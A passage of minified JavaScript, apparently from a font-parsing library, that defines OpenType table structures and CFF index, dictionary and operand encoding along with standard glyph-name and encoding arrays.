                    0: {count: V.uint16, stringOffset: V.uint16, records: new V.Array(Mt, "count")},
                    1: {count: V.uint16, stringOffset: V.uint16, records: new V.Array(Mt, "count"), langTagCount: V.uint16, langTags: new V.Array(zt, "langTagCount")}
                }),
                Ft = ["copyright", "fontFamily", "fontSubfamily", "uniqueSubfamily", "fullName", "version", "postscriptName", "trademark", "manufacturer", "designer", "description", "vendorURL", "designerURL", "license", "licenseURL", null, "preferredFamily", "preferredSubfamily", "compatibleFull", "sampleText", "postscriptCIDFontName", "wwsFamilyName", "wwsSubfamilyName"];
            NameTable.process = function (t) {
                for (var e = {}, n = this.records, r = Array.isArray(n), i = 0, n = r ? n : H(n); ;) {
                    var o;
                    if (r) {
                        if (i >= n.length) break;
                        o = n[i++]
                    } else {
                        if (i = n.next(), i.done) break;
                        o = i.value
                    }
                    var a = o, s = Rt[a.platformID][a.languageID];
                    null == s && null != this.langTags && a.languageID >= 32768 && (s = this.langTags[a.languageID - 32768].tag), null == s && (s = a.platformID + "-" + a.languageID);
                    var u = a.nameID >= 256 ? "fontFeatures" : Ft[a.nameID] || a.nameID;
                    null == e[u] && (e[u] = {});
                    var c = e[u];
                    a.nameID >= 256 && (c = c[a.nameID] || (c[a.nameID] = {})), c[s] = a.string
                }
                this.records = e
            }, NameTable.preEncode = function () {
                if (!Array.isArray(this.records)) {
                    this.version = 0;
                    var t        = [];
                    for (var n in this.records) {
                        var r = this.records[n];
                        "fontFeatures" !== n && (t.push({
                            platformID: 3,
                            encodingID: 1,
                            languageID: 1033,
                            nameID: Ft.indexOf(n),
                            length: e.byteLength(r.en, "utf16le"),
                            string: r.en
                        }), "postscriptName" === n && t.push({platformID: 1, encodingID: 0, languageID: 0, nameID: Ft.indexOf(n), length: r.en.length, string: r.en}))
                    }
                    this.records = t, this.count = t.length, this.stringOffset = NameTable.size(this, null, !1)
                }
            };
            var Dt = new V.VersionedStruct(V.uint16, {
                header: {
                    xAvgCharWidth: V.int16,
                    usWeightClass: V.uint16,
                    usWidthClass: V.uint16,
                    fsType: new V.Bitfield(V.uint16, [null, "noEmbedding", "viewOnly", "editable", null, null, null, null, "noSubsetting", "bitmapOnly"]),
                    ySubscriptXSize: V.int16,
                    ySubscriptYSize: V.int16,
                    ySubscriptXOffset: V.int16,
                    ySubscriptYOffset: V.int16,
                    ySuperscriptXSize: V.int16,
                    ySuperscriptYSize: V.int16,
                    ySuperscriptXOffset: V.int16,
                    ySuperscriptYOffset: V.int16,
                    yStrikeoutSize: V.int16,
                    yStrikeoutPosition: V.int16,
                    sFamilyClass: V.int16,
                    panose: new V.Array(V.uint8, 10),
                    ulCharRange: new V.Array(V.uint32, 4),
                    vendorID: new V.String(4),
                    fsSelection: new V.Bitfield(V.uint16, ["italic", "underscore", "negative", "outlined", "strikeout", "bold", "regular", "useTypoMetrics", "wws", "oblique"]),
                    usFirstCharIndex: V.uint16,
                    usLastCharIndex: V.uint16
                },
                0: {},
                1: {typoAscender: V.int16, typoDescender: V.int16, typoLineGap: V.int16, winAscent: V.uint16, winDescent: V.uint16, codePageRange: new V.Array(V.uint32, 2)},
                2: {
                    typoAscender: V.int16,
                    typoDescender: V.int16,
                    typoLineGap: V.int16,
                    winAscent: V.uint16,
                    winDescent: V.uint16,
                    codePageRange: new V.Array(V.uint32, 2),
                    xHeight: V.int16,
                    capHeight: V.int16,
                    defaultChar: V.uint16,
                    breakChar: V.uint16,
                    maxContent: V.uint16
                },
                5: {
                    typoAscender: V.int16,
                    typoDescender: V.int16,
                    typoLineGap: V.int16,
                    winAscent: V.uint16,
                    winDescent: V.uint16,
                    codePageRange: new V.Array(V.uint32, 2),
                    xHeight: V.int16,
                    capHeight: V.int16,
                    defaultChar: V.uint16,
                    breakChar: V.uint16,
                    maxContent: V.uint16,
                    usLowerOpticalPointSize: V.uint16,
                    usUpperOpticalPointSize: V.uint16
                }
            }), Nt = Dt.versions;
            Nt[3]  = Nt[4] = Nt[2];
            var Ut = new V.VersionedStruct(V.fixed32, {
                    header: {
                        italicAngle: V.fixed32,
                        underlinePosition: V.int16,
                        underlineThickness: V.int16,
                        isFixedPitch: V.uint32,
                        minMemType42: V.uint32,
                        maxMemType42: V.uint32,
                        minMemType1: V.uint32,
                        maxMemType1: V.uint32
                    },
                    1: {},
                    2: {numberOfGlyphs: V.uint16, glyphNameIndex: new V.Array(V.uint16, "numberOfGlyphs"), names: new V.Array(new V.String(V.uint8))},
                    2.5: {numberOfGlyphs: V.uint16, offsets: new V.Array(V.uint8, "numberOfGlyphs")},
                    3: {},
                    4: {
                        map: new V.Array(V.uint32, function (t) {
                            return t.parent.maxp.numGlyphs
                        })
                    }
                }), Wt = new V.Struct({controlValues: new V.Array(V.int16)}), jt = new V.Struct({instructions: new V.Array(V.uint8)}),
                Gt = new V.VersionedStruct("head.indexToLocFormat", {0: {offsets: new V.Array(V.uint16)}, 1: {offsets: new V.Array(V.uint32)}});
            Gt.process = function () {
                if (0 === this.version) for (var t = 0; t < this.offsets.length; t++) this.offsets[t] <<= 1
            }, Gt.preEncode = function () {
                if (null == this.version && (this.version = this.offsets[this.offsets.length - 1] > 65535 ? 1 : 0, 0 === this.version)) for (var t = 0; t < this.offsets.length; t++) this.offsets[t] >>>= 1
            };
            var Vt                                                                                                                          = new V.Struct({controlValueProgram: new V.Array(V.uint8)}), qt = new V.Array(new V.Buffer), Ht = function () {
                    function t(e) {
                        J(this, t), this.type = e
                    }

                    return t.prototype.decode = function (t, e) {
                        var n = t.readUInt16BE();
                        if (0 === n) return [];
                        var r = t.readUInt8(), i = void 0;
                        if (1 === r) i = V.uint8; else if (2 === r) i = V.uint16; else if (3 === r) i = V.uint24; else {
                            if (4 !== r) throw new Error("Bad offset size in CFFIndex: " + r + " " + t.pos);
                            i = V.uint32
                        }
                        for (var o = [], a = t.pos + (n + 1) * r - 1, s = i.decode(t), u = 0; u < n; u++) {
                            var c = i.decode(t);
                            if (null != this.type) {
                                var l = t.pos;
                                t.pos = a + s, e.length = c - s, o.push(this.type.decode(t, e)), t.pos = l
                            } else o.push({offset: a + s, length: c - s});
                            s = c
                        }
                        return t.pos = a + s, o
                    }, t.prototype.size = function t(e, n) {
                        var t = 2;
                        if (0 === e.length) return t;
                        for (var r = this.type || new V.Buffer, i = 1, o = 0; o < e.length; o++) {
                            var a = e[o];
                            i += r.size(a, n)
                        }
                        var s = void 0;
                        if (i <= 255) s = V.uint8; else if (i <= 65535) s = V.uint16; else if (i <= 16777215) s = V.uint24; else {
                            if (!(i <= 4294967295)) throw new Error("Bad offset in CFFIndex");
                            s = V.uint32
                        }
                        return t += 1 + s.size() * (e.length + 1), t += i - 1
                    }, t.prototype.encode = function (t, e, n) {
                        if (t.writeUInt16BE(e.length), 0 !== e.length) {
                            for (var r = this.type || new V.Buffer, i = [], o = 1, a = e, s = Array.isArray(a), u = 0, a = s ? a : H(a); ;) {
                                var c;
                                if (s) {
                                    if (u >= a.length) break;
                                    c = a[u++]
                                } else {
                                    if (u = a.next(), u.done) break;
                                    c = u.value
                                }
                                var l = c, f = r.size(l, n);
                                i.push(f), o += f
                            }
                            var h = void 0;
                            if (o <= 255) h = V.uint8; else if (o <= 65535) h = V.uint16; else if (o <= 16777215) h = V.uint24; else {
                                if (!(o <= 4294967295)) throw new Error("Bad offset in CFFIndex");
                                h = V.uint32
                            }
                            t.writeUInt8(h.size()), o = 1, h.encode(t, o);
                            for (var p = i, d = Array.isArray(p), g = 0, p = d ? p : H(p); ;) {
                                var v;
                                if (d) {
                                    if (g >= p.length) break;
                                    v = p[g++]
                                } else {
                                    if (g = p.next(), g.done) break;
                                    v = g.value
                                }
                                o += v, h.encode(t, o)
                            }
                            for (var y = e, m = Array.isArray(y), b = 0, y = m ? y : H(y); ;) {
                                var w;
                                if (m) {
                                    if (b >= y.length) break;
                                    w = y[b++]
                                } else {
                                    if (b = y.next(), b.done) break;
                                    w = b.value
                                }
                                var x = w;
                                r.encode(t, x, n)
                            }
                        }
                    }, t
                }(), Zt                                                                                                                     = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", ".", "E", "E-", null, "-"], Yt = {".": 10, E: 11, "E-": 12, "-": 14},
                Kt                                                                                                                          = function () {
                    function t() {
                        J(this, t)
                    }

                    return t.decode = function (t, e) {
                        if (32 <= e && e <= 246) return e - 139;
                        if (247 <= e && e <= 250) return 256 * (e - 247) + t.readUInt8() + 108;
                        if (251 <= e && e <= 254) return 256 * -(e - 251) - t.readUInt8() - 108;
                        if (28 === e) return t.readInt16BE();
                        if (29 === e) return t.readInt32BE();
                        if (30 === e) {
                            for (var n = ""; ;) {
                                var r = t.readUInt8(), i = r >> 4;
                                if (15 === i) break;
                                n += Zt[i];
                                var o = 15 & r;
                                if (15 === o) break;
                                n += Zt[o]
                            }
                            return parseFloat(n)
                        }
                        return null
                    }, t.size = function (t) {
                        if (t.forceLarge && (t = 32768), (0 | t) !== t) {
                            var e = "" + t;
                            return 1 + Math.ceil((e.length + 1) / 2)
                        }
                        return -107 <= t && t <= 107 ? 1 : 108 <= t && t <= 1131 || -1131 <= t && t <= -108 ? 2 : -32768 <= t && t <= 32767 ? 3 : 5
                    }, t.encode = function (t, e) {
                        var n = Number(e);
                        if (e.forceLarge) return t.writeUInt8(29), t.writeInt32BE(n);
                        if ((0 | n) === n) return -107 <= n && n <= 107 ? t.writeUInt8(n + 139) : 108 <= n && n <= 1131 ? (n -= 108, t.writeUInt8(247 + (n >> 8)), t.writeUInt8(255 & n)) : -1131 <= n && n <= -108 ? (n = -n - 108, t.writeUInt8(251 + (n >> 8)), t.writeUInt8(255 & n)) : -32768 <= n && n <= 32767 ? (t.writeUInt8(28), t.writeInt16BE(n)) : (t.writeUInt8(29), t.writeInt32BE(n));
                        t.writeUInt8(30);
                        for (var r = "" + n, i = 0; i < r.length; i += 2) {
                            var o = r[i], a = Yt[o] || +o;
                            if (i === r.length - 1) var s = 15; else var u = r[i + 1], s = Yt[u] || +u;
                            t.writeUInt8(a << 4 | 15 & s)
                        }
                        return 15 !== s ? t.writeUInt8(240) : void 0
                    }, t
                }(), Xt                                                                                                                     = function () {
                    function t() {
                        var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : [];
                        J(this, t), this.ops = e, this.fields = {};
                        for (var n = e, r = Array.isArray(n), i = 0, n = r ? n : H(n); ;) {
                            var o;
                            if (r) {
                                if (i >= n.length) break;
                                o = n[i++]
                            } else {
                                if (i = n.next(), i.done) break;
                                o = i.value
                            }
                            var a = o, s = Array.isArray(a[0]) ? a[0][0] << 8 | a[0][1] : a[0];
                            this.fields[s] = a
                        }
                    }

                    return t.prototype.decodeOperands = function (t, e, n, r) {
                        var i = this;
                        if (Array.isArray(t)) return r.map(function (r, o) {
                            return i.decodeOperands(t[o], e, n, [r])
                        });
                        if (null != t.decode) return t.decode(e, n, r);
                        switch (t) {
                            case"number":
                            case"offset":
                            case"sid":
                                return r[0];
                            case"boolean":
                                return !!r[0];
                            default:
                                return r
                        }
                    }, t.prototype.encodeOperands = function (t, e, n, r) {
                        var i = this;
                        return Array.isArray(t) ? r.map(function (r, o) {
                            return i.encodeOperands(t[o], e, n, r)[0]
                        }) : null != t.encode ? t.encode(e, r, n) : "number" == typeof r ? [r] : "boolean" == typeof r ? [+r] : Array.isArray(r) ? r : [r]
                    }, t.prototype.decode = function (t, e) {
                        var n = t.pos + e.length, r = {}, i = [];
                        rt(r, {parent: {value: e}, _startOffset: {value: t.pos}});
                        for (var o in this.fields) {
                            var a = this.fields[o];
                            r[a[1]] = a[3]
                        }
                        for (; t.pos < n;) {
                            var s = t.readUInt8();
                            if (s <= 21) {
                                12 === s && (s = s << 8 | t.readUInt8());
                                var u = this.fields[s];
                                if (!u) throw new Error("Unknown operator " + s);
                                var c = this.decodeOperands(u[2], t, r, i);
                                null != c && (c instanceof nt.PropertyDescriptor ? X(r, u[1], c) : r[u[1]] = c), i = []
                            } else i.push(Kt.decode(t, s))
                        }
                        return r
                    }, t.prototype.size = function (t, e) {
                        var n = !(arguments.length > 2 && void 0 !== arguments[2]) || arguments[2], r = {parent: e, val: t, pointerSize: 0, startOffset: e.startOffset || 0}, i = 0;
                        for (var o in this.fields) {
                            var a = this.fields[o], s = t[a[1]];
                            if (null != s && !it(s, a[3])) {
                                for (var u = this.encodeOperands(a[2], null, r, s), c = u, l = Array.isArray(c), f = 0, c = l ? c : H(c); ;) {
                                    var h;
                                    if (l) {
                                        if (f >= c.length) break;
                                        h = c[f++]
                                    } else {
                                        if (f = c.next(), f.done) break;
                                        h = f.value
                                    }
                                    var p = h;
                                    i += Kt.size(p)
                                }
                                i += (Array.isArray(a[0]) ? a[0] : [a[0]]).length
                            }
                        }
                        return n && (i += r.pointerSize), i
                    }, t.prototype.encode = function (t, e, n) {
                        var r = {pointers: [], startOffset: t.pos, parent: n, val: e, pointerSize: 0};
                        r.pointerOffset = t.pos + this.size(e, r, !1);
                        for (var i = this.ops, o = Array.isArray(i), a = 0, i = o ? i : H(i); ;) {
                            var s;
                            if (o) {
                                if (a >= i.length) break;
                                s = i[a++]
                            } else {
                                if (a = i.next(), a.done) break;
                                s = a.value
                            }
                            var u = s, c = e[u[1]];
                            if (null != c && !it(c, u[3])) {
                                for (var l = this.encodeOperands(u[2], t, r, c), f = l, h = Array.isArray(f), p = 0, f = h ? f : H(f); ;) {
                                    var d;
                                    if (h) {
                                        if (p >= f.length) break;
                                        d = f[p++]
                                    } else {
                                        if (p = f.next(), p.done) break;
                                        d = p.value
                                    }
                                    var g = d;
                                    Kt.encode(t, g)
                                }
                                for (var v = Array.isArray(u[0]) ? u[0] : [u[0]], y = v, m = Array.isArray(y), b = 0, y = m ? y : H(y); ;) {
                                    var w;
                                    if (m) {
                                        if (b >= y.length) break;
                                        w = y[b++]
                                    } else {
                                        if (b = y.next(), b.done) break;
                                        w = b.value
                                    }
                                    var x = w;
                                    t.writeUInt8(x)
                                }
                            }
                        }
                        for (var S = 0; S < r.pointers.length;) {
                            var k = r.pointers[S++];
                            k.type.encode(t, k.val, k.parent)
                        }
                    }, t
                }(), Jt                                                                                                                     = function (t) {
                    function e(n) {
                        var r = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : {};
                        return J(this, e), null == r.type && (r.type = "global"), tt(this, t.call(this, null, n, r))
                    }

                    return et(e, t), e.prototype.decode = function (e, n, r) {
                        return this.offsetType = {
                            decode: function () {
                                return r[0]
                            }
                        }, t.prototype.decode.call(this, e, n, r)
                    }, e.prototype.encode = function (e, n, r) {
                        if (!e) return this.offsetType = {
                            size: function () {
                                return 0
                            }
                        }, this.size(n, r), [new Qt(0)];
                        var i = null;
                        return this.offsetType = {
                            encode: function (t, e) {
                                return i = e
                            }
                        }, t.prototype.encode.call(this, e, n, r), [new Qt(i)]
                    }, e
                }(V.Pointer), Qt                                                                                                            = function () {
                    function t(e) {
                        J(this, t), this.val = e, this.forceLarge = !0
                    }

                    return t.prototype.valueOf = function () {
                        return this.val
                    }, t
                }(),
                $t                                                                                                                          = new Xt([[6, "BlueValues", "delta", null], [7, "OtherBlues", "delta", null], [8, "FamilyBlues", "delta", null], [9, "FamilyOtherBlues", "delta", null], [[12, 9], "BlueScale", "number", .039625], [[12, 10], "BlueShift", "number", 7], [[12, 11], "BlueFuzz", "number", 1], [10, "StdHW", "number", null], [11, "StdVW", "number", null], [[12, 12], "StemSnapH", "delta", null], [[12, 13], "StemSnapV", "delta", null], [[12, 14], "ForceBold", "boolean", !1], [[12, 17], "LanguageGroup", "number", 0], [[12, 18], "ExpansionFactor", "number", .06], [[12, 19], "initialRandomSeed", "number", 0], [20, "defaultWidthX", "number", 0], [21, "nominalWidthX", "number", 0], [19, "Subrs", new Jt(new Ht, {type: "local"}), null]]),
                te                                                                                                                          = [".notdef", "space", "exclam", "quotedbl", "numbersign", "dollar", "percent", "ampersand", "quoteright", "parenleft", "parenright", "asterisk", "plus", "comma", "hyphen", "period", "slash", "zero", "one", "two", "three", "four", "five", "six", "seven", "eight", "nine", "colon", "semicolon", "less", "equal", "greater", "question", "at", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "bracketleft", "backslash", "bracketright", "asciicircum", "underscore", "quoteleft", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "braceleft", "bar", "braceright", "asciitilde", "exclamdown", "cent", "sterling", "fraction", "yen", "florin", "section", "currency", "quotesingle", "quotedblleft", "guillemotleft", "guilsinglleft", "guilsinglright", "fi", "fl", "endash", "dagger", "daggerdbl", "periodcentered", "paragraph", "bullet", "quotesinglbase", "quotedblbase", "quotedblright", "guillemotright", "ellipsis", "perthousand", "questiondown", "grave", "acute", "circumflex", "tilde", "macron", "breve", "dotaccent", "dieresis", "ring", "cedilla", "hungarumlaut", "ogonek", "caron", "emdash", "AE", "ordfeminine", "Lslash", "Oslash", "OE", "ordmasculine", "ae", "dotlessi", "lslash", "oslash", "oe", "germandbls", "onesuperior", "logicalnot", "mu", "trademark", "Eth", "onehalf", "plusminus", "Thorn", "onequarter", "divide", "brokenbar", "degree", "thorn", "threequarters", "twosuperior", "registered", "minus", "eth", "multiply", "threesuperior", "copyright", "Aacute", "Acircumflex", "Adieresis", "Agrave", "Aring", "Atilde", "Ccedilla", "Eacute", "Ecircumflex", "Edieresis", "Egrave", "Iacute", "Icircumflex", "Idieresis", "Igrave", "Ntilde", "Oacute", "Ocircumflex", "Odieresis", "Ograve", "Otilde", "Scaron", "Uacute", "Ucircumflex", "Udieresis", "Ugrave", "Yacute", "Ydieresis", "Zcaron", "aacute", "acircumflex", "adieresis", "agrave", "aring", "atilde", "ccedilla", "eacute", "ecircumflex", "edieresis", "egrave", "iacute", "icircumflex", "idieresis", "igrave", "ntilde", "oacute", "ocircumflex", "odieresis", "ograve", "otilde", "scaron", "uacute", "ucircumflex", "udieresis", "ugrave", "yacute", "ydieresis", "zcaron", "exclamsmall", "Hungarumlautsmall", "dollaroldstyle", "dollarsuperior", "ampersandsmall", "Acutesmall", "parenleftsuperior", "parenrightsuperior", "twodotenleader", "onedotenleader", "zerooldstyle", "oneoldstyle", "twooldstyle", "threeoldstyle", "fouroldstyle", "fiveoldstyle", "sixoldstyle", "sevenoldstyle", "eightoldstyle", "nineoldstyle", "commasuperior", "threequartersemdash", "periodsuperior", "questionsmall", "asuperior", "bsuperior", "centsuperior", "dsuperior", "esuperior", "isuperior", "lsuperior", "msuperior", "nsuperior", "osuperior", "rsuperior", "ssuperior", "tsuperior", "ff", "ffi", "ffl", "parenleftinferior", "parenrightinferior", "Circumflexsmall", "hyphensuperior", "Gravesmall", "Asmall", "Bsmall", "Csmall", "Dsmall", "Esmall", "Fsmall", "Gsmall", "Hsmall", "Ismall", "Jsmall", "Ksmall", "Lsmall", "Msmall", "Nsmall", "Osmall", "Psmall", "Qsmall", "Rsmall", "Ssmall", "Tsmall", "Usmall", "Vsmall", "Wsmall", "Xsmall", "Ysmall", "Zsmall", "colonmonetary", "onefitted", "rupiah", "Tildesmall", "exclamdownsmall", "centoldstyle", "Lslashsmall", "Scaronsmall", "Zcaronsmall", "Dieresissmall", "Brevesmall", "Caronsmall", "Dotaccentsmall", "Macronsmall", "figuredash", "hypheninferior", "Ogoneksmall", "Ringsmall", "Cedillasmall", "questiondownsmall", "oneeighth", "threeeighths", "fiveeighths", "seveneighths", "onethird", "twothirds", "zerosuperior", "foursuperior", "fivesuperior", "sixsuperior", "sevensuperior", "eightsuperior", "ninesuperior", "zeroinferior", "oneinferior", "twoinferior", "threeinferior", "fourinferior", "fiveinferior", "sixinferior", "seveninferior", "eightinferior", "nineinferior", "centinferior", "dollarinferior", "periodinferior", "commainferior", "Agravesmall", "Aacutesmall", "Acircumflexsmall", "Atildesmall", "Adieresissmall", "Aringsmall", "AEsmall", "Ccedillasmall", "Egravesmall", "Eacutesmall", "Ecircumflexsmall", "Edieresissmall", "Igravesmall", "Iacutesmall", "Icircumflexsmall", "Idieresissmall", "Ethsmall", "Ntildesmall", "Ogravesmall", "Oacutesmall", "Ocircumflexsmall", "Otildesmall", "Odieresissmall", "OEsmall", "Oslashsmall", "Ugravesmall", "Uacutesmall", "Ucircumflexsmall", "Udieresissmall", "Yacutesmall", "Thornsmall", "Ydieresissmall", "001.000", "001.001", "001.002", "001.003", "Black", "Bold", "Book", "Light", "Medium", "Regular", "Roman", "Semibold"],
                ee                                                                                                                          = ["", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "space", "exclam", "quotedbl", "numbersign", "dollar", "percent", "ampersand", "quoteright", "parenleft", "parenright", "asterisk", "plus", "comma", "hyphen", "period", "slash", "zero", "one", "two", "three", "four", "five", "six", "seven", "eight", "nine", "colon", "semicolon", "less", "equal", "greater", "question", "at", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "bracketleft", "backslash", "bracketright", "asciicircum", "underscore", "quoteleft", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "braceleft", "bar", "braceright", "asciitilde", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "exclamdown", "cent", "sterling", "fraction", "yen", "florin", "section", "currency", "quotesingle", "quotedblleft", "guillemotleft", "guilsinglleft", "guilsinglright", "fi", "fl", "", "endash", "dagger", "daggerdbl", "periodcentered", "", "paragraph", "bullet", "quotesinglbase", "quotedblbase", "quotedblright", "guillemotright", "ellipsis", "perthousand", "", "questiondown", "", "grave", "acute", "circumflex", "tilde", "macron", "breve", "dotaccent", "dieresis", "", "ring", "cedilla", "", "hungarumlaut", "ogonek", "caron", "emdash", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "AE", "", "ordfeminine", "", "", "", "", "Lslash", "Oslash", "OE", "ordmasculine", "", "", "", "", "", "ae", "", "", "", "dotlessi", "", "", "lslash", "oslash", "oe", "germandbls"],
                ne                                                                                                                          = ["", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "space", "exclamsmall", "Hungarumlautsmall", "", "dollaroldstyle", "dollarsuperior", "ampersandsmall", "Acutesmall", "parenleftsuperior", "parenrightsuperior", "twodotenleader", "onedotenleader", "comma", "hyphen", "period", "fraction", "zerooldstyle", "oneoldstyle", "twooldstyle", "threeoldstyle", "fouroldstyle", "fiveoldstyle", "sixoldstyle", "sevenoldstyle", "eightoldstyle", "nineoldstyle", "colon", "semicolon", "commasuperior", "threequartersemdash", "periodsuperior", "questionsmall", "", "asuperior", "bsuperior", "centsuperior", "dsuperior", "esuperior", "", "", "isuperior", "", "", "lsuperior", "msuperior", "nsuperior", "osuperior", "", "", "rsuperior", "ssuperior", "tsuperior", "", "ff", "fi", "fl", "ffi", "ffl", "parenleftinferior", "", "parenrightinferior", "Circumflexsmall", "hyphensuperior", "Gravesmall", "Asmall", "Bsmall", "Csmall", "Dsmall", "Esmall", "Fsmall", "Gsmall", "Hsmall", "Ismall", "Jsmall", "Ksmall", "Lsmall", "Msmall", "Nsmall", "Osmall", "Psmall", "Qsmall", "Rsmall", "Ssmall", "Tsmall", "Usmall", "Vsmall", "Wsmall", "Xsmall", "Ysmall", "Zsmall", "colonmonetary", "onefitted", "rupiah", "Tildesmall", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "exclamdownsmall", "centoldstyle", "Lslashsmall", "", "", "Scaronsmall", "Zcaronsmall", "Dieresissmall", "Brevesmall", "Caronsmall", "", "Dotaccentsmall", "", "", "Macronsmall", "", "", "figuredash", "hypheninferior", "", "", "Ogoneksmall", "Ringsmall", "Cedillasmall", "", "", "", "onequarter", "onehalf", "threequarters", "questiondownsmall", "oneeighth", "threeeighths", "fiveeighths", "seveneighths", "onethird", "twothirds", "", "", "zerosuperior", "onesuperior", "twosuperior", "threesuperior", "foursuperior", "fivesuperior", "sixsuperior", "sevensuperior", "eightsuperior", "ninesuperior", "zeroinferior", "oneinferior", "twoinferior", "threeinferior", "fourinferior", "fiveinferior", "sixinferior", "seveninferior", "eightinferior", "nineinferior", "centinferior", "dollarinferior", "periodinferior", "commainferior", "Agravesmall", "Aacutesmall", "Acircumflexsmall", "Atildesmall", "Adieresissmall", "Aringsmall", "AEsmall", "Ccedillasmall", "Egravesmall", "Eacutesmall", "Ecircumflexsmall", "Edieresissmall", "Igravesmall", "Iacutesmall", "Icircumflexsmall", "Idieresissmall", "Ethsmall", "Ntildesmall", "Ogravesmall", "Oacutesmall", "Ocircumflexsmall", "Otildesmall", "Odieresissmall", "OEsmall", "Oslashsmall", "Ugravesmall", "Uacutesmall", "Ucircumflexsmall", "Udieresissmall", "Yacutesmall", "Thornsmall", "Ydieresissmall"],
                re                                                                                                                          = [".notdef", "space", "exclam", "quotedbl", "numbersign", "dollar", "percent", "ampersand", "quoteright", "parenleft", "parenright", "asterisk", "plus", "comma", "hyphen", "period", "slash", "zero", "one", "two", "three", "four", "five", "six", "seven", "eight", "nine", "colon", "semicolon", "less", "equal", "greater", "question", "at", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "bracketleft", "backslash", "bracketright", "asciicircum", "underscore", "quoteleft", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "braceleft", "bar", "braceright", "asciitilde", "exclamdown", "cent", "sterling", "fraction", "yen", "florin", "section", "currency", "quotesingle", "quotedblleft", "guillemotleft", "guilsinglleft", "guilsinglright", "fi", "fl", "endash", "dagger", "daggerdbl", "periodcentered", "paragraph", "bullet", "quotesinglbase", "quotedblbase", "quotedblright", "guillemotright", "ellipsis", "perthousand", "questiondown", "grave", "acute", "circumflex", "tilde", "macron", "breve", "dotaccent", "dieresis", "ring", "cedilla", "hungarumlaut", "ogonek", "caron", "emdash", "AE", "ordfeminine", "Lslash", "Oslash", "OE", "ordmasculine", "ae", "dotlessi", "lslash", "oslash", "oe", "germandbls", "onesuperior", "logicalnot", "mu", "trademark", "Eth", "onehalf", "plusminus", "Thorn", "onequarter", "divide", "brokenbar", "degree", "thorn", "threequarters", "twosuperior", "registered", "minus", "eth", "multiply", "threesuperior", "copyright", "Aacute", "Acircumflex", "Adieresis", "Agrave", "Aring", "Atilde", "Ccedilla", "Eacute", "Ecircumflex", "Edieresis", "Egrave", "Iacute", "Icircumflex", "Idieresis", "Igrave", "Ntilde", "Oacute", "Ocircumflex", "Odieresis", "Ograve", "Otilde", "Scaron", "Uacute", "Ucircumflex", "Udieresis", "Ugrave", "Yacute", "Ydieresis", "Zcaron", "aacute", "acircumflex", "adieresis", "agrave", "aring", "atilde", "ccedilla", "eacute", "ecircumflex", "edieresis", "egrave", "iacute", "icircumflex", "idieresis", "igrave", "ntilde", "oacute", "ocircumflex", "odieresis", "ograve", "otilde", "scaron", "uacute", "ucircumflex", "udieresis", "ugrave", "yacute", "ydieresis", "zcaron"],
                ie                                                                                                                          = [".notdef", "space", "exclamsmall", "Hungarumlautsmall", "dollaroldstyle", "dollarsuperior", "ampersandsmall", "Acutesmall", "parenleftsuperior", "parenrightsuperior", "twodotenleader", "onedotenleader", "comma", "hyphen", "period", "fraction", "zerooldstyle", "oneoldstyle", "twooldstyle", "threeoldstyle", "fouroldstyle", "fiveoldstyle", "sixoldstyle", "sevenoldstyle", "eightoldstyle", "nineoldstyle", "colon", "semicolon", "commasuperior", "threequartersemdash", "periodsuperior", "questionsmall", "asuperior", "bsuperior", "centsuperior", "dsuperior", "esuperior", "isuperior", "lsuperior", "msuperior", "nsuperior", "osuperior", "rsuperior", "ssuperior", "tsuperior", "ff", "fi", "fl", "ffi", "ffl", "parenleftinferior", "parenrightinferior", "Circumflexsmall", "hyphensuperior", "Gravesmall", "Asmall", "Bsmall", "Csmall", "Dsmall", "Esmall", "Fsmall", "Gsmall", "Hsmall", "Ismall", "Jsmall", "Ksmall", "Lsmall", "Msmall", "Nsmall", "Osmall", "Psmall", "Qsmall", "Rsmall", "Ssmall", "Tsmall", "Usmall", "Vsmall", "Wsmall", "Xsmall", "Ysmall", "Zsmall", "colonmonetary", "onefitted", "rupiah", "Tildesmall", "exclamdownsmall", "centoldstyle", "Lslashsmall", "Scaronsmall", "Zcaronsmall", "Dieresissmall", "Brevesmall", "Caronsmall", "Dotaccentsmall", "Macronsmall", "figuredash", "hypheninferior", "Ogoneksmall", "Ringsmall", "Cedillasmall", "onequarter", "onehalf", "threequarters", "questiondownsmall", "oneeighth", "threeeighths", "fiveeighths", "seveneighths", "onethird", "twothirds", "zerosuperior", "onesuperior", "twosuperior", "threesuperior", "foursuperior", "fivesuperior", "sixsuperior", "sevensuperior", "eightsuperior", "ninesuperior", "zeroinferior", "oneinferior", "twoinferior", "threeinferior", "fourinferior", "fiveinferior", "sixinferior", "seveninferior", "eightinferior", "nineinferior", "centinferior", "dollarinferior", "periodinferior", "commainferior", "Agravesmall", "Aacutesmall", "Acircumflexsmall", "Atildesmall", "Adieresissmall", "Aringsmall", "AEsmall", "Ccedillasmall", "Egravesmall", "Eacutesmall", "Ecircumflexsmall", "Edieresissmall", "Igravesmall", "Iacutesmall", "Icircumflexsmall", 